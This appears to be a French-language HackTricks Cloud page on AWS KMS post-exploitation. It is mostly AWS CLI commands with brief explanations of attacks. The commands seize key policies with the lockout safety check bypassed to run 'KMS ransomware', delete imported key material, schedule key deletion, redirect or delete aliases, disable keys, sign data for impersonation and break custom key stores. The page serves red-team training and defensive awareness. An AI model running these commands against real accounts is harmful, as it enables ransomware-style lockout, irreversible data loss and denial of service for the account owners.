AWS - KMS Post Exploitation
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
KMS
Pour plus dâinformations, consultez :
Chiffrer/Déchiffrer des données
fileb:// and file:// are URI schemes used in AWS CLI commands to specify the path to local files:
fileb://:Lit le fichier en mode binaire, couramment utilisĂ© pour les fichiers non textuels.file://:Lit le fichier en mode texte, typiquement utilisĂ© pour des fichiers texte simples, des scripts, ou du JSON qui nâa pas dâexigences dâencodage particuliĂšres.
Tip
Notez que si vous voulez déchiffrer des données contenues dans un fichier, le fichier doit contenir les données binaires, pas des données encodées en base64. (fileb://)
- Utilisation dâune symĂ©trique key
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- Utilisation dâune clĂ© asymmetric:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
Un attaquant disposant dâun accĂšs privilĂ©giĂ© Ă KMS peut modifier la KMS policy des clĂ©s et accorder Ă son compte lâaccĂšs Ă celles-ci, supprimant lâaccĂšs accordĂ© au compte lĂ©gitime.
Par la suite, les utilisateurs du compte légitime ne pourront plus accéder à aucune information de tout service chiffré avec ces clés, créant un ransomware simple mais efficace contre le compte.
Warning
Notez que AWS managed keys ne sont pas affectées par cette attaque ; seules les Customer managed keys le sont.
Notez Ă©galement la nĂ©cessitĂ© dâutiliser le paramĂštre
--bypass-policy-lockout-safety-check(lâabsence de cette option dans la console web rend cette attaque possible uniquement depuis la CLI).
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
Caution
Notez que si vous changez cette policy et ne donnez lâaccĂšs quâĂ un compte externe, et que depuis ce compte externe vous essayez de dĂ©finir une nouvelle policy pour give the access back to original account, you wonât be able cause the Put Polocy action cannot be performed from a cross account.
.png)
KMS Ransomware générique
Il existe une autre façon dâexĂ©cuter un KMS Ransomware global, qui impliquerait les Ă©tapes suivantes :
- CrĂ©er une nouvelle key with a key material importĂ©e par lâattaquant
- Re-encrypt older data de la victime qui étaient chiffrées avec la version précédente en utilisant la nouvelle
- Delete the KMS key
- DĂ©sormais, seul lâattaquant, qui possĂšde le key material original, pourra dĂ©chiffrer les donnĂ©es chiffrĂ©es
Suppression des clés via kms:DeleteImportedKeyMaterial
Avec lâautorisation kms:DeleteImportedKeyMaterial, un acteur peut supprimer le key material importĂ© des CMKs ayant Origin=EXTERNAL (CMKs qui ont importĂ© leur key material), les rendant incapables de dĂ©chiffrer les donnĂ©es. Cette action est destructive et irrĂ©versible sauf si du matĂ©riel compatible est rĂ©importĂ©, permettant Ă un attaquant de provoquer efficacement une perte de donnĂ©es de type ransomware en rendant lâinformation chiffrĂ©e dĂ©finitivement inaccessible.
aws kms delete-imported-key-material --key-id <Key_ID>
Détruire les clés
En dĂ©truisant des clĂ©s, il est possible dâeffectuer un DoS.
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
Caution
Notez que AWS empĂȘche dĂ©sormais que les actions prĂ©cĂ©dentes soient effectuĂ©es depuis un compte croisĂ© :
Modifier ou supprimer Alias
Cette attaque supprime ou redirige les alias AWS KMS, rompant la rĂ©solution des clĂ©s et provoquant des Ă©checs immĂ©diats dans tous les services qui dĂ©pendent de ces alias, entraĂźnant un dĂ©ni de service. Avec des permissions telles que kms:DeleteAlias ou kms:UpdateAlias, un attaquant peut supprimer ou repointer des alias et perturber les opĂ©rations cryptographiques (p. ex., encrypt, describe). Tout service qui rĂ©fĂ©rence lâalias au lieu de lâID de clĂ© peut Ă©chouer jusquâĂ ce que lâalias soit restaurĂ© ou correctement rĂ©affectĂ©.
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
Annuler la suppression de clé
Avec des permissions telles que kms:CancelKeyDeletion et kms:EnableKey, un acteur peut annuler une suppression programmĂ©e dâune AWS KMS customer master key et la rĂ©activer par la suite. Cela permet de rĂ©cupĂ©rer la clĂ© (initialement en Ă©tat Disabled) et de restaurer sa capacitĂ© Ă decrypt des donnĂ©es prĂ©cĂ©demment protĂ©gĂ©es, permettant lâexfiltration.
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
Désactiver la clé
Avec la permission kms:DisableKey, un acteur peut dĂ©sactiver une Customer Master Key (CMK) AWS KMS, lâempĂȘchant dâĂȘtre utilisĂ©e pour le chiffrement ou le dĂ©chiffrement. Cela coupe lâaccĂšs pour tous les services qui dĂ©pendent de cette CMK et peut provoquer des perturbations immĂ©diates ou un dĂ©ni de service jusquâĂ ce que la clĂ© soit rĂ©activĂ©e.
aws kms disable-key \
--key-id <key_id>
Derive Shared Secret
Avec lâautorisation kms:DeriveSharedSecret, un acteur peut utiliser une clĂ© privĂ©e dĂ©tenue par KMS ainsi quâune clĂ© publique fournie par lâutilisateur pour calculer un secret partagĂ© ECDH.
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
Impersonation via kms:Sign
Avec la permission kms:Sign, un acteur peut utiliser une KMS-stored CMK pour signer cryptographiquement des donnĂ©es sans exposer la private key, produisant des signatures valides pouvant permettre lâimpersonation ou autoriser des actions malveillantes.
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
DoS with Custom Key Stores
Avec des autorisations telles que kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore, ou kms:UpdateCustomKeyStore, un acteur peut modifier, déconnecter ou supprimer un AWS KMS Custom Key Store (CKS), rendant ses clés maßtresses inopérantes. Cela interrompt les opérations de chiffrement, déchiffrement et de signature pour tout service qui dépend de ces clés et peut provoquer un denial-of-service immédiat. Restreindre et surveiller ces autorisations est donc crucial.
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
.png)
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

